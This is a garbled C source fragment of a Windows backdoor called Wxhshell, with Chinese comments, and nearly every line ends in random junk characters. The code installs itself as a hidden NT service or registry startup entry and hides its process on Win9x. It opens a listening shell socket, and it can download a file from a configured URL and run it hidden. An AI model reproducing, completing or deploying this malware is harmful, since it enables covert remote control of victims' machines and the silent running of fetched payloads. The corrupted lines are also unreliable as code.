ULONG UniqueProcessId; 89o/F+ _b
ULONG InheritedFromUniqueProcessId; NdzSz]q}
} PROCESS_BASIC_INFORMATION; ;`^WGS(3.%
kP-3"ACG
PROCNTQSIP NtQueryInformationProcess; 7PtN?;rP
^R# E:3e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
[N/"5
[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h&--,A >
/(iFcMT
HANDLE hProcess; N7O-2Z *
PROCESS_BASIC_INFORMATION pbi; Cn "s`
q
1(|'WyD
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1`a5C.v
if(NULL == hInst ) return 0; C!fMW+C@
BFo5\l:q8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /7}It$|nhy
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [[;e)SoA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6f\Lf?vF
0a}u;gt,4w
if (!NtQueryInformationProcess) return 0; `QyO`y=?[Y
{&\jW!&n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =5kY6%E7c
if(!hProcess) return 0; Mz~M3$$9n
OoA|8!CFa
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aFS,GiB
%k'!Iq+
CloseHandle(hProcess); k + H3Bq
(=* cK-3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R,pX:H+
if(hProcess==NULL) return 0; O"F_*
k3)dEH1z
HMODULE hMod; mg*qiScfW
char procName[255]; [%77bv85.G
unsigned long cbNeeded; rEv$+pP
{TX]\ufG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z7Q?D^miy
%Ti}CwI`
CloseHandle(hProcess); kPF9Z "l
(Q.waI
if(strstr(procName,"services")) return 1; // 以服务启动 LIZRoG8
ha(Z<
return 0; // 注册表启动 .y@oz7T5
} wPwXM!
;#oie<
Vit
// 主模块 `Ye\p6v!+
int StartWxhshell(LPSTR lpCmdLine) <8d^^0
{ UrYZ`J
SOCKET wsl; QlO0qbG[y
BOOL val=TRUE; RPE5K:P
int port=0; ^eR%N8Z
struct sockaddr_in door; )6|yb65ZUX
rL+!tH
if(wscfg.ws_autoins) Install(); ]3KhgK%c8
XT@-$%u
port=atoi(lpCmdLine); Gu2P\I2zx
&8l%T'gd
if(port<=0) port=wscfg.ws_port; eS<lwA_
@8;W \L$~1
WSADATA data; 3b+d"`Y^S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Hc$G{[a
y5do1Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -Xxqm%([71
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pXJpK@z
door.sin_family = AF_INET; n#wI@W>%+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .zn;:M#T
door.sin_port = htons(port); bpKZ3}U
L"{JRbh[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;)!Sp:mHX
closesocket(wsl); ]8f ms(
return 1; +(C6#R<LI
} B,TB3
{
Cb9;QzBVA#
if(listen(wsl,2) == INVALID_SOCKET) { p' +
closesocket(wsl); ds?v'|
return 1; lJE93rXU
} {a4z2"\A
Wxhshell(wsl); )0Me?BRp
WSACleanup(); \ aHVs
U2ZD]q
return 0; b#K:_ac5
O'W0q;rT
} Y@b.sMg{
l)!n/x_ !
// 以NT服务方式启动 8erSt!oM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >|twyb
{ 't6V:X
DWORD status = 0; /)4I|"}R0I
DWORD specificError = 0xfffffff; _g~qu
[1
|b|&XB_<]Z
serviceStatus.dwServiceType = SERVICE_WIN32; )*,5"CO
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k[HAkB \{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xYhrO
serviceStatus.dwWin32ExitCode = 0; j{Txl\D>
serviceStatus.dwServiceSpecificExitCode = 0; 0 0M@
serviceStatus.dwCheckPoint = 0; l PK
+$f$
serviceStatus.dwWaitHint = 0; 4Qo]nre!
R
+WP0&d'
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1;mW,l'`
if (hServiceStatusHandle==0) return; *7h!w!LN~
p\JfFfC
status = GetLastError(); %5A+V0D0'
if (status!=NO_ERROR) mL_j4=ER@
{ %YSu8G_t
serviceStatus.dwCurrentState = SERVICE_STOPPED; jSwf*u
serviceStatus.dwCheckPoint = 0; \o/n
serviceStatus.dwWaitHint = 0; uU:CR>=AKW
serviceStatus.dwWin32ExitCode = status; <oo
serviceStatus.dwServiceSpecificExitCode = specificError; '*?WU_L(g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -*m+(7G\
return; }b0; 0j
} <_XWWT%
9\]^|?zQ`
serviceStatus.dwCurrentState = SERVICE_RUNNING; yq NzdzX
serviceStatus.dwCheckPoint = 0; Wh%ucX&
serviceStatus.dwWaitHint = 0; RW }"2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yRiP{$E
} &'DU0c&
ngat0'oa
// 处理NT服务事件,比如:启动、停止 |'{zri|A"
VOID WINAPI NTServiceHandler(DWORD fdwControl) aMvI?y {
{ d\ ~QBr?
switch(fdwControl) ODC8D>ZYl
{ sH?/E6
case SERVICE_CONTROL_STOP: <F.Tx$s
serviceStatus.dwWin32ExitCode = 0; JGH60|
serviceStatus.dwCurrentState = SERVICE_STOPPED; DNj"SF(J
serviceStatus.dwCheckPoint = 0; WN_pd%m
serviceStatus.dwWaitHint = 0; TW9WMId
{ 'I /aboDB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ce")[<:
} 6'RrQc=q
return; gF5a5T,
case SERVICE_CONTROL_PAUSE: Tp9-niW
serviceStatus.dwCurrentState = SERVICE_PAUSED; |)K]U
break; h?FmBK'BAd
case SERVICE_CONTROL_CONTINUE: L[20m(6?
serviceStatus.dwCurrentState = SERVICE_RUNNING; NbGV1q']
break; LJ(1RK GCz
case SERVICE_CONTROL_INTERROGATE: A^2Uzmzl?
break; &g~ wS@
}; KhW;RD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }GZ}Q5
} j~e;DO
{nvLPUL
// 标准应用程序主函数 ~DsECnD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V]vc(rH
{ F`9ZH.
jvV9eA:zl
// 获取操作系统版本 zKsz*xv6b
OsIsNt=GetOsVer(); v!FMs<
GetModuleFileName(NULL,ExeFile,MAX_PATH); L
~2zMkVH
// 从命令行安装 0sh/|`\
if(strpbrk(lpCmdLine,"iI")) Install(); zWb4([P;
Xj5~%DZp
// 下载执行文件 XFh>U7z.
if(wscfg.ws_downexe) { yGsz2T;w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B-T/V-c7
WinExec(wscfg.ws_filenam,SW_HIDE); _"#!e{N|
} n]u<!.X
yH<$k^0r*
if(!OsIsNt) { E gDQ+(
-
// 如果时win9x,隐藏进程并且设置为注册表启动 -#Z
bR
HideProc(); WzI8_uM
StartWxhshell(lpCmdLine); W{rt8^1
} &%_& 8DkG
else @j4U^"_QB
if(StartFromService()) Eb=#9f%y>&
// 以服务方式启动 jh.@-
StartServiceCtrlDispatcher(DispatchTable); k~|-gfFP
else D Kw*~0
// 普通方式启动 j$7Xs"
StartWxhshell(lpCmdLine); 2*w:tT8+X
]l(wg]
return 0; 5&e<#"
}